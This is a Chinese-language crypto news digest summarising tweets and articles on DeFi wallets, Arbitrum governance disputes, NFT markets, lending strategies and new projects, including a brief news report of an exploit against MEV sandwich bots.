    Chainfeeds 导读： 加密 KOL The DeFi Investor 通过链上数据分析了的 3 个通过 Arbitrum 获得大量收益的钱包动态，并盘点了上述 3 个钱包的其他项目持仓情况。 文章来源： https://twitter.com/TheDeFinvestor/status/1642186195311689730 文章作者： The DeFi Investor 观点： The DeFi Investor：0xeb 开头的地址在 1 月份以 0.3 美元的平均价格买入大量的 PLS。PLS 在 3 月份达到 1.31 美元的 ATH，当前价格为 0.96 美元。有趣的是，该地址仅卖出了少量 PLS，且仍在持续买入 PLS。PLS 是该钱包的最大持仓，其持有的其他代币还包括：MAGIC、ARB 和 RDNT。【原文为英文】 内容来源 The DeFi Investor：0xd1 开头的地址是推特用户 @Defi_Maestro 的公开钱包，他在几个月内将他的投资组合翻了 6 倍。他在 RDNT 和 JOE 暴涨前成功买入，他的投资组合包括 JOE、FLEX、USDC 和 KWENTA。【原文为英文】 内容来源 The DeFi Investor：0x75 开头的地址拥有 200 万美元的投资组合，且大部分资金都在 Arbitrum 上。该地址在 2 月初买入了大量 GRAIL，当时 GRAIL 的价格为 1500 美元，在 3 月达到了 4300 美元的 ATH。目前，该地址 GRAIL 的持仓占比超过 50%，此外，该地址还持有大量 WINR 和 JONES。【原文为英文】 内容来源  ( 2 min )
    Weirdo Ghost Gang 创始人谈 AI 爆发对创作者和 NFT 的影响
    Chainfeeds 导读： NFT KOL Punk 6529 近日发布长推，探讨 AI 对 NFT 的影响，他认为 NFT 的价值在于所有权和产生的共识，尽管 AI 丰富了 NFT 的内容，但不会影响 NFT 的价值。Weirdo Ghost Gang 从 Punk 6529 的观点出发，延伸了类似的观点。 文章来源： https://sleepy0x13.substack.com/p/ainft 文章作者： Sleepy 观点： Sleepy：NFT 溯源将有更重要的意义。随着 AI 生成内容的不断发展，NFT 溯源将变得越来越重要，因为它可以帮助人们分辨出数字内容的出处和所有权，保护数字内容的版权和知识产权。 内容来源 Sleepy：AI 生成内容的爆发，会使原作者创作的内容更有价值。由于 AI 生成的内容通常是基于已有数据的推断和预测，这就使得原作者的创作更具有独特性和价值，因为它们是基于原创思路和经验的产物，而不是机器的简单模拟。 内容来源 Sleepy：对于创作者而言，在一个无限「内容」的世界中，本身的知名度会变得更加重要。随着 AI 技术的不断进步，越来越多的人可以使用 AI 学习和生成自己的作品风格。这也就意味着，如果一个创作者拥有越高的知名度，越多的人就会通过 AI 学习和生成他的作品风格，从而进一步扩大了他的影响力和价值。 内容来源 Sleepy：商业内容创作可以被 AI 取代，而艺术创作不能。商业内容可以通过 AI 技术来自动生成，节省人力物力成本，提高效率和质量。但艺术创作是一种表达的过程，AI 不能代替艺术家本身的创造力和表达能力。 内容来源  ( 4 min )
    【英文长推】新项目前瞻｜zkSafe：基于 Safe 和 zkConnect 的账户抽象方案
    Chainfeeds 导读： zkSafe 是 ZK Hack 里斯本黑客松项目，由 Immunefi 研究总监 Emiliano Bonassi 构建。Emiliano 撰文解析了 zkSafe 如何使用 Safe 和 Sismo zkConnect 实现账户抽象。 文章来源： https://twitter.com/emilianobonassi/status/1642792494550208513 文章作者： emiliano.⌐◨-◨ 观点： emiliano.⌐◨-◨：受益于 Gnosis 安全模块框架和 Sismo zkConnect 单点登录，zkSafe 允许用户使用电子邮件或推特帐户等 Web2 账户登陆 Safe 钱包，以及启用额外的访问控制逻辑。此外，用户还可以借助 zkSafe 扩展更多诸如社交恢复、跨链执行等基于零知识证明的用例。【原文为英文】 内容来源 emiliano.⌐◨-◨：演示文稿：https://devfolio.co/projects/zksafe-173a。 代码：https://github.com/emilianobonassi/zkSafe。 内容来源  ( 2 min )
    从白宫到 Web3：扒一扒 Arbitrum 创始人 Ed Felten 的过往
    Chainfeeds 导读： 周末，Arbitrum 社区关于 DAO 金库 Token 分配的提案引起了剧烈的讨论，在「DAO 名存实亡」的阵阵声讨中，区块律动作者 Jaleel 深入调查了 Arbitrum 团队背后的故事，并总结了 Arbitrum 项目的发展历程。 文章来源： https://www.theblockbeats.info/news/36157 文章作者： Jaleel 观点： Jaleel：Edward William Felten，1963 年 3 月 25 日出生。Felten 就读于加州理工学院，并于 1985 年获得物理学学位，1991 年获 MS 硕士学位，1993 年获博士学位，论文是关于开发并行处理器之间通信的自动化协议。1993 年，Felton 作为助理教授加入普林斯顿大学计算机科学系，并于 1999 年晋升为副教授，2003 年晋升为教授。 内容来源 Jaleel：2012 年和 2013 年间，Felten 开始接触和研究比特币及区块链技术。2015 年初，Arbitrum 以一门区块链课程结课作品的身份首次展示在大家眼前。2018 年 8 月，Felten 与他的两位博士学生 Steven Goldfeder 和 Harry Kalodner 共同完成名为「Arbitrum: Scalable, private smart contracts」的学术著作，同年，三人联合创立 Offchain Labs，Arbitrum 正式立项。 内容来源 Jaleel：Arbitrum 简要编年史：2020 年 2 月，Arbitrum 的第一版测试网上线。2021 年 5 月， Arbitrum One 测试网部署，同年 9 月，Arbitrum 推出了主网 Arbitrum One，并宣布完成了一轮 1.2 亿美元的 B 轮融资。2022 年 6 月，Arbitrum 推出了 Odyssey 奥德赛项目。2022 年 7 月，Arbitrum 宣布构建新链「Arbitrum Nova」，并在 9 月 1 日成功升级到 Nitro 版本。2023 年 2 月 7 日，Offchain Labs 开发团队宣布将推出下一代编程环境 Stylus。 内容来源
    【英文长推】借贷协议 Timeswap 解析及 ARB 套利策略推荐
    Chainfeeds 导读： Timeswap 是支持 ERC-20 代币的链上借贷协议，其 USDC - ARB 资金池目前年化收益高达 40% 以上。加密 KOL Winter Soldier 解析了 Timeswap AMM 机制的运行原理，并推荐了在 Timeswap 进行 ARB 套利的策略。 文章来源： https://twitter.com/WinterSoldierxz/status/1642536117890334721 文章作者： Winter Soldier 观点： Winter Soldier：Timeswap 使用基于 3 个变量的 AMM 机制，从而在无需预言机的情况下，提高资本效率且无需许可。AMM 机制：(X+Y)*Z=K 中，X+Y 是资金池中的抵押债权代币（CCT）的数量，Z 是资金池中每秒的债券代币（BT）储备量，K 是恒定乘积。AMM 用于发现资金池的利率（APR）和抵押品系数（CDP），同时始终保持恒定乘积 K。【原文为英文】 内容来源 Winter Soldier：做多策略 1：借入 USDC 做多 ARB。用 ARB 作为抵押品借入 USDC → 用 USDC 换取 ARB → 循环进行；做多策略 2：借出 USDC 做多 ARB。资金池的过渡价格（即执行价格）为 0.8 美元，年利率为 31.44%。到期时，如果 ARB 低于 0.8 美元 → 借款人违约 → 贷款人收到 ARB；如果 ARB 高于 0.8 美元 → 借款人需要偿还 USDC 债务 → 贷款人获得 USDC 本金 + 收益率。做空策略亦然。【原文为英文】 内容来源 Winter Soldier：Timeswap V2 将带来以下改进：4-5 倍的资本效率；借款和贷款的双向池子；池子始终是超额抵押的（有利于 LP 和贷款人）；单边流动性。【原文为英文】 内容来源  ( 2 min )
    【英文】2023 年第一季度链上数据复盘：加密市场显著复苏
    Chainfeeds 导读： 加密研究机构 IntoTheBlock 发布 2023 年第一季度链上数据复盘，从网络费用、中心化交易所资金流量等数据复盘了第一季度加密市场的积极表现，并列举了多个影响第二季度市场走向的催化剂。 文章来源： https://medium.com/intotheblock/q1-2023-on-chain-85131b11df3 文章作者： Lucas 观点： Lucas：网络费用：随着 Ordinals 协议带来的 NFT 用例，比特币网络的季度费用达到了 2021 年第四季度以来的最高水平。以太坊网络的费用攀升至 2022 年第二季度以来的最高水平，原因是受 USDC 脱锚以及 ARB 和 BLUR 空投等事件的影响。【原文为英文】 内容来源 Lucas：交易所净流量：第一季度有价值 8.15 亿美元的 ETH 流出中心化交易所，这一数字正在持续下降。第一季度有价值 6.63 亿美元的 BTC 流入中心化交易所，考虑到上一季度 BTC 的流出量为 41 亿美元，这很有可能是 BTC 价格上涨约 70% 带来的获利回吐。【原文为英文】 内容来源 Lucas：二季度催化剂：1. 测试支撑位：BTC 和 ETH 分别在 27000 美元和 1700 美元处有大量买单；2. 长期投资者增持：持有资产超过一年的地址在 2023 年至今分别增持了 134 亿美元的 BTC 和 47 亿美元的 ETH；3. 以太坊上海升级长期来看会鼓励更多的 ETH 持有者进行质押；4. 距离 BTC 减半还有一年，可能会有提前的上涨。【原文为英文】 内容来源  ( 9 min )
    推特用户 3155.eth：三明治交易机器人因交易模块被黑客替换损失超 2000 万美元
    推特用户 3155.eth：三明治交易机器人因交易模块被黑客替换损失超 2000 万美元 推特用户 3155.eth 通过链上交易信息发现，多个三明治交易机器人因为其套利的交易模块被替换，导致损失超过 2000 万美元。3155.eth 猜测可能是验证者作恶，并表示这将会是整个 MEV 生态系统的重要转折点。 内容来源 观点： Flynngao：简单解释：黑客拿到了三明治套利的大户 bot 的 bundle 交易，bundle 里有 3 个交易为：1 大量买入，2 被夹用户的交易，3 大量卖出，黑客拿到了这个 bundle，拆解了 bundle，把 2 替换了成自己的交易，用便宜 token 换走了 bot 的资金，3 失败。 内容来源  ( 2 min )
    【长推】越南或将加密立法？全景式解读 Coin98 发展路径及优劣势
    Chainfeeds 导读： Web3 在越南市场非常火热，越南年轻人对加密的接受程度非常高。THUBA DAO 核心成员 Fred Li 从越南加密宏观情况出发，撰文对越南区块链公司 Coin98 的背景、发展、代币经济学、投资背景及未来发展进行了分析解读。 文章来源： https://twitter.com/Dacongfred/status/1642190623334645760 文章作者： Fred Li 观点： Fred Li：据 Chainalysis 研究，越南在采用加密货币方面处于领先地位，有 28.8% 的区块链项目或去中心化金融应用程序在越南开发。主要有三个方面的原因，首先从历史来看，越南遭受了很多经济不稳定和通货膨胀，传统银行无法提供良好的回报，并且提供的服务有限。从民众实际需求而言，在国外工作的越南人可以通过使用比特币等加密货币以低费用寄钱养家。最后从政策监管方面，目前加密货币在越南属于一个灰色区域，没有明确的法律框架禁止或者支持。 内容来源 Fred Li：Coin98 是一家总部位于越南的区块链公司，旨在为用户提供一站式的加密货币和 DeFi 服务，最早是内容起家，直到 2020 年推出第一个产品后，逐渐开始做产品搭建生态来解决新的行业问题，包括 Coin98 交易所、Coin98 Portfolio 及 Coin98 Market 等。代币经济学上，C98 总供应量为 10 亿，目前流通总量为 2.16 亿，同时具有效用和治理价值。从投资背景来看，Coin98 背后有很多亚洲头部资本的身影，例如 Hashkey 等。 内容来源 Fred Li：总体而言，Coin98 致力于建立一个完整的跨链生态系统，通过整合多种区块链钱包的功能，使用户能够更加顺畅地进行多链交易和使用 DEX，实现不同区块链之间的互操作性。但目前从产品功能上来看 Coin98 主打的多链生态暂未发现特别显著的优势，某种程度上更多的是乘着越南加密叙事的东风。等到越南加密立法后，相信对越南的头部项目 Coin98、Kyber Network 会有利好。 内容来源  ( 2 min )
    【英文长推】解读 Neutra Finance：Delta 中性 GLP 策略金库协议
    Chainfeeds 导读： 加密 KOL 2Lamborz 撰推介绍 Arbitrum 生态项目 Delta 中性 GLP 策略金库协议 Neutra Finance，解析其 nGLP V2 版本、金库、代币经济学更新，并总结为什么看好这个协议。 文章来源： https://twitter.com/2lambro/status/1642534517880782855 文章作者： 2lambroz.eth 观点： 2lambroz.eth：为什么看好它？1）Arbitrum Season 到来；2）其交易量和收益率都在上升；3）他们开发者切实在构建、交付和改进；4）直接与 GMX 合作。nGLP V2 版本更新：1）产品功能更新；2）即时存取款；3）允许用 GLP 入金；4）新的统计页面。这些都是小而有用的功能，可以让真正的用户对协议产生粘性。【原文为英文】 内容来源 2lambroz.eth：金库改进：1）提高了对冲杠杆以提高效率；2）意味着他们现在需要更少的资金来对冲 Delta（保持 Delta 中性）；3）更多的钱投入 GLP 以获得更高的收益。代币经济学更新：1）地板价基金支持价格从 $0.65 提高至 >1；2）正在将 $NEU 转变为通货紧缩的代币经济学，财政部将部署到 nGLP 中，并销毁 DAI 和 esNEU 奖励。【原文为英文】 内容来源  ( 2 min )
    「主权个人」读后感：掌控信息时代的变革
    Chainfeeds 导读： 「主权个人（The Sovereign Individual）」是本划时代的书，写于 1990 年代中期，但其预见了信息革命对未来几十年的全球政治，经济和组织结构的深远影响，包括数字 / 加密货币的出现等。加密研究员 CryPto33 撰文讲述了该书的分析框架、推导结论及客观评价等内容。 文章来源： https://mirror.xyz/crypto33.eth/wSZ8xSf4YWSpQT0EUwkT8l6CIpFAlceMJcp0cfhAoL0 文章作者： 陈鹏 CryPto33 观点： 陈鹏 CryPto33：以太坊联合创始人 Vitalik Buterin 总体认同本书作者对信息时代来临的大趋势的分析，尽管认为过程会更久。不认同作者的内容包括：过度个人主义而忽视公平性；没有回答人们从哪里找归属感；跨组织的合作；低估政府反抗 / 收税的能力；忽略全球层面在公共物品上协作的价值；没有预见到网络效应带来的规模效应递增，以及所产生的垄断互联网巨头成为新崛起的重要的政经力量。 内容来源 陈鹏 CryPto33：「主权个人」书里直接讲加密货币的内容并不多，全书占比不到 10%，核心主旨追求个人对财富的掌控，不受主权国家的侵扰正是加密货币最原教旨的精神。在科技的政治光谱里，加密货币是偏右派思想，而 AI 更偏左派。而我个人认为在加密货币的意识形态光谱里，比特币是更典型的自由右派的精神体现，但以太坊更看重公平和发展解决问题带来进步，更偏左一些些。 内容来源 陈鹏 CryPto33：整个加密货币是从加密算法出现开始有 50 年多的积淀，用加密技术来维护个人财富的思潮也有几十年的酝酿，都在 08 年比特币落地了。这是一个几十年的思潮的结晶，凝聚了几代自由右派人的智慧，所以这股力量非常强大，不是现存的监管就能否定的。 内容来源  ( 3 min )
    那些年遭遇监管的加密项目，都怎么样了？
    Chainfeeds 导读： 加密项目被监管调查后，命运各不相同。有些项目被迫关闭，有些项目逃避监管，有些项目与监管机构合作，有些项目则顺应监管趋势并进行合规改进。ODaily 作者 Loopy Lu，撰文盘点历史上被调查的一些加密项目，按结局进行分类梳理。 文章来源： https://www.odaily.news/post/5186177 文章作者： Loopy Lu 观点： Loopy Lu：罚款和解，影响微弱：1）EOS，2400 万美元和解，这次诉讼和解使得 EOS 在代币发行方面更快进入合规化，并使得 Block.one 获得了未来业务的豁免权，对其影响巨大。2）Coinbase 与 CFTC 达成 650 万美元和解。此后，Coinbase 开启了其股价神话，其发展并未受到这一事件的影响。3）Tezos 与 SEC 达成了 2000 万美元和解，和解后 Tezos 业务并未受到影响。 内容来源 Loopy Lu：不影响主营业务，部分业务受阻：1）Kraken，质押服务关停，主体经营未受到影响，但在关闭质押之前，其质押量市场份额排名第三。2）BitMEX 因违规被美国 CFTC 和 FinCEN 处罚 1 亿美元，并导致管理团队被迫离职和美国的交易服务关闭，对 BitMEX 营收和声誉造成巨大损失。 内容来源 Loopy Lu：彻底关停，项目宣布死亡：1）Telegram 运营的区块链项目 TON（Telegram Open Network） 因为涉嫌违规销售 GRAM 被美国 SEC 起诉，项目最终终止，对投资者进行退款。不过社区重启了类似的项目 The Open Network（TON），目前市值达到 33 亿美元。2）Paxos 被 SEC 起诉，停止发行 BUSD。 内容来源 Loopy Lu：漫长拉扯，结果悬而未决：Ripple，SEC 控诉 Ripple 违反证券法规定，涉嫌非法销售 XRP；瑞波 CEO 发誓将在法庭上战胜诉讼，但多家美国交易所已暂停 XRP 交易，对其币价产生重大影响，司法纠纷至今未解。总结：虽然美监管机构的干预可能会导致短暂的行情动荡，但长远来说，这可能只是合规路上的必经阶段，无需过度恐慌。 内容来源  ( 7 min )
    【英文长推】地板价保持稳定，解读 Memeland 是如何做到真正的持续发展
    Chainfeeds 导读： Memeland 自从推出以来，3 个系列都保持稳定的地板价，价格高点和低点都不断抬高。加密研究员 Minh 撰推解析 Memeland 是如何做到真正的可持续发展，认为其团队 9gag 花大量时间学习 Web3，这就是传统品牌进入该领域的方式。 文章来源： https://twitter.com/MINHxDYNASTY/status/1642619092116049920 文章作者： Minh 观点： Minh：什么使得 Memeland 比其他项目更成功：1）创新，Memeland 没有发明新东西，只是改进了进化方式，从 Potataoz 系列开始，NFT 从土壤→植物→马铃薯→ ？2）价值，其独特的价值是炒作，并适应简单的供求原则，创造了一个 Veblen 商品（炫耀性消费品）。例如 Captainz 仅分配给 Memelists (白名单) 、 Potatoz 持有者、 Waitlists 。3）体验，既创造强大的数字体验，又通过奖池不断给予用户大量的货币价值。价值 / 利润→快乐的持有者→忠诚的社区，重复这个循环。【原文为英文】 内容来源  ( 2 min )
    【英文长推】live（3，3）：解锁被 ve（3，3）锁定的代币潜力
    Chainfeeds 导读： 常规 ve（3，3）模型存在代币锁定、劳动强度大（需要每周投票）、无法最大化投票率的缺点，Liquid Driver 将通过其新服务 live（3，3）解决这些缺点，加密研究员 Remember The Name 撰推介绍该机制的原理和首个版本 liveTHE。 文章来源： https://twitter.com/crypto_progress/status/1642214152000221185 文章作者： Remember The Name 观点： Remember The Name：Liquid Diver 的新服务旨在与 ve（3，3） DEX 协同工作，其第一个版本将是 liveTHE：veTHE 的 liquid wrapper。liveThe 是流动的，允许被用户出售、出借、进行 LP，liveTHE 将对 ve（3，3）投票进行优化管理，提供自动和最佳投票，此机制激励协议进行更多贿赂。liveThe 自动复利交易费用和贿赂 --> $THE 的买入压力更大 --> ve (3,3) 飞轮。【原文为英文】 内容来源 Remember The Name：但 liquid wrapper 可能并不总是 1:1 的比例，你的 veTHE 头寸将仅为半流动头寸（NFT），并始终以折扣价出售。其内置挂钩保护，即「回购」+ LP 自动贿赂。liveThe 收取绩效费，10% 用于 liveTHE/THE 池贿赂（激励深度流动性），8.5% 用于 mxLQDR 持有者。除了第一周以外，将 ve (3,3) 存入 live (3,3) 也会产生费用，以防止退出流动性。liveTHE 计划下周上线。【原文为英文】 内容来源  ( 2 min )
    个人加密市场 4 月展望：上海升级、ARB、Uniswap V3......
    Chainfeeds 导读： 区块链研究员雨中狂睡总结了自己对于加密市场的 4 月展望，包括上海升级后的抛压及新趋势、ARB 生态发展及存在的问题、Uniswap V3 代码专利到期、Bedrock 升级投票、香港概念及 NFT 市场利好等。 文章来源： https://sleepintherain.substack.com/p/april-alpha-call 文章作者： 雨中狂睡 观点： 雨中狂睡：1）以太坊上海升级：从我个人角度来看，以太坊上海升级后可能不会出现太大的抛压，且由于其排队机制，每天进入市场的以太坊抛压也是固定的。此外，除了 Lido，以太坊升级之后可能出现的趋势是以太坊质押去中心化及 LSDFi 的兴起；2）ARB：个人非常看好 ARB，也期待它在今年的升级和以太坊升级为其生态带来的变化。但其目前存在一些问题，包括代币转移及代币需求等； 内容来源 雨中狂睡：3）Uniswap v3 代码专利到期：我的思路是看看哪些 DEX 能够利用 Uniswap V3 代码更上一层楼；4）OP：Bedrock 升级投票被延期到了 4 月 5 日，Bedrock 升级将带来理论上最佳调用数据提交、共识及执行客户端分离、微观客户端差异等变化；5）香港概念：可以关注香港 4 月中旬活动信息；6）Filecoin：FEVM 上生态发展值得重点关注；7）APE/BLUR：NFT 市场可能会因为 Yuga Labs 新的动作而产生一些变化，另外一个 NFT 市场利好是 Blur 可能的新动作。 内容来源  ( 5 min )
    【英文长推】新项目前瞻 | 想成为所有 DeFi 的全链层：zkSync 生态的聚合 DEX Unidex
    Chainfeeds 导读： 加密 KOL Louis 撰推介绍 zkSync 生态上提供掉期和 100 倍杠杆的聚合 DEX Unidex，涵盖其项目机制和优势，以及代币经济学和未来路线图。 文章来源： https://twitter.com/lou_markets/status/1642259243645702149 文章作者： Louis 观点： Louis：Unidex 是一个 DEX 聚合器，在多个场所为用户所需的代币找到最好的价格和交易对，实现用户成本最低化。刚推出 Swaps V3 版本，主要优势：跨链、免 gas 订单创建、MEV 保护。Unidex 允许以 100 倍的杠杆率合成交易资产，涵盖加密货币、外汇、股票、商品。但他们最终的野心是成为所有 DeFi 的全链层。【原文为英文】 内容来源 Louis：Unidex 是首批加入 zkSync 的 DeFi 平台之一，是未来 zkSync 代币建立交易历史的完美场所。目前已有代币 $UNIDX，代币持有者获得一半收入分成，总供应为 400 万枚，市值为 3100 万美元。如果 Unidex 能够成为 zkSync 上的领导者之一，那么 3500 万美元的 FDV 是被低估了的。【原文为英文】 内容来源 Louis：路线图：1）永续掉期聚合器；2）实现一个钱包，一条链；3）在所有场所交易杠杆产品（例如 GMX，SNX，Gains）；4）不再需要切换到五个不同的网络；5）Unidex 成为一个衍生品终端，结合多链和交叉链的订单；6）将启动一个应用链以支持 LP 并促进永续市场；7）一个开发者可以插入的流动性 hub；8）UNIDX 将借用 ETH 的 EIP 1559 以实现通货紧缩。 内容来源  ( 2 min )
    【英文】IBC Protocol：重新审视 Interchain 的过去、现在和未来
    Chainfeeds 导读： 2021 年 2 月，Cosmos Stargate 的发布将通用互操作性协议 IBC 带入大家的视野。自推出以来，该协议已经被超 50 个 Cosmos 链采用，发生了超 5000 万次跨链转账。IBC 协议撰文概述了其主要发展里程碑，反思了其过去两年取得的进展，并对其未来发展方向进行了讨论。 文章来源： https://medium.com/the-interchain-foundation/2-years-of-ibc-the-past-present-and-future-of-interchain-f8df71b9264f 文章作者： IBC Protocol 观点： IBC Protocol：市场策略上，本着社区主导的开源开发精神，IBC 的研发、验证、实施、代码审查及推出都是由不同组织协同完成的。可组合性上，区块链账户（ICA）、区块链查询（ICQ）及数据包转发中间件（PFM）等功能构成了区块链可组合性。此外，关于安全性，Interchain Security 是 Cosmos 对共享安全的愿景，也是实现 CometBFT 横向扩展的一步，而 IBC 是其实现的关键软件。【原文为英文】 内容来源 IBC Protocol：Interchain 发展：1）Polkadot 和 Near：通过利用 IBC，Composable Finance 和 Strangelove 正在开发 Centauri 跨链桥，以允许 Cosmos 与 Polkadot 生态互动；2）以太坊：Polymer 和 Electron Labs 等团队正在努力将 IBC 引入以太坊和其他 EVM 链；3）Avalanche：Avalanche 子网 Landslide Network 正在通过使用 IBC 将 Cosmos 和 Avalanche 生态连接起来；4）Inter-Rollup 通信：Celestia、Dymension、Eclipse 和 Saga 等计划将 IBC 和其他跨链桥结合以进行 Rollup 间通信；5）通过 IBC 驾驭比特币的安全性；6）Penumbra 使用 IBC 协议 Rust 实现（ibc-rs）；7）跨链 NFT ：CS-721 Interchain NFT 支持 IBC Interchain 实现跨链 NFT。【原文为英文】 内容来源 IBC Protocol：路线图：1）v7.1.0：新增本地主机连接功能，链上应用程序能够通过目前用于远程链上应用程序进行通信的相同 IBC 接口进行通信；2）v7.2.0：增加对 Wasm 轻客户端的支持及 ADR-8；3）v8.0.0：实现 Channel 可升级性、带有超时的有序 Channel 及实现针对 IBC 协议中路径依赖当前不便的解决方案。【原文为英文】 内容来源  ( 15 min )
    【长推】 Starbucks Odyssey 主创思考：如何在产品里将 AI 和 Web3 结合起来？
    Chainfeeds 导读： 区块链研究员 starzq.eth 撰文分享了 Starbucks Odyssey 主创之一 bunchu.eth 关于 AI 和 Web3 产品结合方式的思考：「AI + NFT + Loyalty = Create-to-Earn」。 文章来源： https://twitter.com/starzqeth/status/1642682330556014592 文章作者： starzq.eth 观点： starzq.eth：用户希望自己拥有品牌，具有所有权（ownership）并且能共同创造内容。Joe 认为 AI、NFT 和忠诚度之间会出现非常有趣的交叉点，可以用来增强叙事（Storytelling）和共创（co-creation）。 内容来源 starzq.eth：participate-to-earn 本质还是品牌在引导用户完成某个行为，用户「参加任务」然后得到了一个 NFT 奖励；但一旦用户参与了创造，并且以 NFT 的形式拥有了这个创造，同样是 ownership, 被发放和自己创造，你的情感连接程度完全不一样，不再是品牌讲故事给你听，而是你成为了品牌故事的一部分。 内容来源 starzq.eth：「AI + NFT + Loyalty = Create-to-Earn」，于是在我们之前分享的忠诚度 3.0 框架之上，AI 同时增强了可玩性和创造性，使得品牌的 web3 增长飞轮更好转动起来。 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 基于 Cairo 的全链上引擎 Dojo：如何为自主世界提供模块化及可扩展基础？
    Chainfeeds 导读： Dojo 简化了在 StarkNet 上创建、管理和扩展「自主世界（Autonomous Worlds）」过程。StarkNet 链游集成平台 cartridge 构建者 tarrence.eth 撰文对 Dojo 的背景、目的及优势进行了分析解读。 文章来源： https://twitter.com/tarrenceva/status/1642201057689473030 文章作者： tarrence.eth 观点： tarrence.eth：两年前，我们开始在 StarkNet 上构建「自主世界（Autonomous Worlds）」，且很多团队一直在 StarkNet 上开拓自治世界的理念，包括 cartridge、Topology、Realms、briq 及 Influence。但截止目前，它们大部分都是独立工作的，很少有共享标准和共享资源。随着 Cairo 1.0 的推出，StarkNet 生态系统正在经历 Regenesis。【原文为英文】 内容来源 tarrence.eth：作为 Regenesis 的一部分，Starknet 上所有合约都需要用 Cairo 1.0 重写，这也为我们提供了构建 Starknet 链上游戏开发工具链的机会。Dojo 为自主世界提供了一个模块化及可扩展的基础。在 Dojo 中，世界合约作为世界核心维护所有状态、执行访问控制并为安装新组件及系统提供接口。【原文为英文】 内容来源 tarrence.eth：此外，Dojo 利用 Cairo 1.0 语言插件的优势，为定义一个世界的模块提供简单且简洁的语法。Dojo 还将提供实时状态索引、StarkNet 上高吞吐量的 Layer3、通过客户端证明的隐私信息、链外状态通道及类型化绑定生成。【原文为英文】 内容来源  ( 2 min )
    未经治理流程出售代币？解析 Arbitrum 基金会争议操作始末
    Chainfeeds 导读： Arbitrum 未经治理流程出售代币，受到持续争议，ARB 代币价格应声下跌，日跌幅一度逾越 10%，ODaily 专栏作者 Loopy Lu 撰文复盘整个事件的始末。 文章来源： https://www.odaily.news/post/5186181 文章作者： Loopy Lu 观点： Loopy Lu：引发争议的提案是什么？Arbitrum 社区提出了 AIP-1，拟引入一个名为 Arbitrum DAO 的去中心化自治组织结构，该组织由 ARB 持有者管理，旨在促进 Arbitrum 生态系统的成长和发展。然而其中包括原本属于社区的 7.5 亿枚 ARB 可能被转移给 Arbitrum 基金会，并以此建立生态基金。此外，还有投资者反馈持有 ARB 空投却无法参与投票等问题。最受诟病的是基金会转移了 5000 万枚 ARB 代币，人们质疑基金会过早大额套现。 内容来源 Loopy Lu：Arbitrum 基金会在官方推特对此作澄清：基金会没有出售 5000 万枚 ARB 代币。其中 4000 万枚被作为贷款分配给金融市场中的一个精明的参与者，剩下的 1000 万则被兑换成法定货币，并用于运营成本。对于已经发生的代币转移，此前基金会表示是作为决定而非拨款请求的结果，并认为社区混淆了「请求」和「批准」两个概念。基金会还指出，可能是治理文档中对代币分配分配饼图的不清晰分类，让社区对此产生了误解。 内容来源 Loopy Lu：Arbitrum 基金会的行为导致 ARB 代币价格下跌，社区对其批评不断。AIP-1 提案遭到部分社区成员质疑，认为未经同意就执行。Blockworks Research 对提案投反对票，认为这加剧了中心化，并从即将到来的 Arbitrum DAO 手中剥落了部分权力。未来大量 DAO 组织将需要表态支持或反对，结果将影响社区信任。 内容来源  ( 6 min )
    Arkstream Capital：Blur 与 Opensea 的悬崖赛车
    Chainfeeds 导读： Blur 与 Opensea 之间的竞争持续引发讨论，ArkStream Capital 合伙人墨客撰文解析二者之间的「战争」，讨论 NFT Market 现状及 NFT 的价值，并分析 Blur 流动性方案的缺陷，对其进行了未来展望，认为 Blur 虽然仍然有非常多缺陷，但它打开了 NFTFi 的流动性篇章，Blur 与 Opensea 之争中反而更快倒下的是其他二线 NFT Market。 文章来源： https://mp.weixin.qq.com/s/O6AM3XA7r2KlEaOEG_A-nQ 文章作者： Moc（ArkStream Capital 合伙人） 观点： Moc（ArkStream Capital 合伙人）：从 NFT Marketplace 的交易数据上看，可以得出：1） Blur 在 2-15 空投之前交易量就已经超过 OpenSea。2） NFT 市场在经历了 2022 年的炒作高潮与幻灭之后，在 2023 年的 1 季度已经回归良性市场。从 NFT 的价值进行讨论：1）NFT 的一致性与非一致性的糅合成为了每一个 NFTfi 需要去面对的最大的问题。2）站在版税角度，让 NFT 项目只能辛苦的通过经营社区赚钱，才是用户对 NFT 良性市场的最大尊重。 内容来源 Moc（ArkStream Capital 合伙人）：目前 NFT Market 的竞争态势：NFT Marketplace 可以细分为三类，CLOB Marketplace / AMM Protocol / Aggregator（聚合器）， Aggregator 在 Blur 和 Opensea 积压下，身影比较落寞，可能要等到市场更加混战才会有它的空间。$BLUR 正式发行之前，其双向流动性方案已经对 Blur 的交易量产生了巨大的正向刺激。同时 Blur 也是 NFT Marketpalce 中第一个采取很积极的策勒（包含 BID 的产品设计，与代币激励）在解决 NFT 流动性上的玩家。 内容来源 Moc（ArkStream Capital 合伙人）：从流量上看，OpenSea 因为 Blur 的发币，受到极大的打击。而另一边，0 手续费的 Blur 不管在法律上（ SEC 监管），还是市场上，都没办法通过收手续费的方式给自己增加收入，也无法给 $BLUR 进行任何赋能，可以说 Blur 把它跟 OpenSea 都拉上了悬崖塞车，这场战争势必要以熬死其中的一方作为结局，然而在这个过程中，X2Y2 与 LooksRare 等二线 NFT Marketplace 受到了更大的挤压，可能更快倒下的反而是它们。 内容来源  ( 32 min )
    【英文长推】以 Arbitrum 治理为例，从博弈论角度解读空投和去中心化的关系
    Chainfeeds 导读： Arbitrum 发起的 AIP-1 提案引发了社区争议，加密研究员 Alex 以 Arbitrum 治理为例，对空投和去中心化的博弈理论进行了解读，究竟该如何在空投和去中心化治理当中进行抉择？ 文章来源： https://twitter.com/thiccythot_/status/1642624503153926144 文章作者： Alex 观点： Alex：加密项目 90% 的估值都来自于去中心化承诺。为了让估值最大化，要让项目显得非常活跃，且分配看起来要是去中心化的。而项目内部人士和空投用户需要有效出售他们的代币，因此他们要求金融市场领域的复杂参与者提供服务。这些参与者往往利用他们的专业市场知识尽可能高效将代币出售用户和买家进行匹配。【原文为英文】 内容来源 Alex：这些成熟参与者会通过代币看涨期权获得补偿，而多头看涨期权存在积极的市场敞口，为了套期保值，持有者在公开市场出售代币，这就形成了对立面。另外一个协调者是零售商，卖家和零售商之间存在明显的对立关系，零售商愿意长期持有。【原文为英文】 内容来源 Alex：事实上，Arbitrum 能够在没有任何监督或与公众沟通的情况下直接抛售代币。作为一个社区，我们应该要求流动的供应量反映在没有任何公开披露的情况下可以进入市场的代币数量。对于 ARB 而言，流通量应该是 54 亿枚代币。有些用户认为社区有权从空投中获得免费资金，但有一个疑问，这些免费资金又是从哪里来的呢？【原文为英文】 内容来源  ( 2 min )
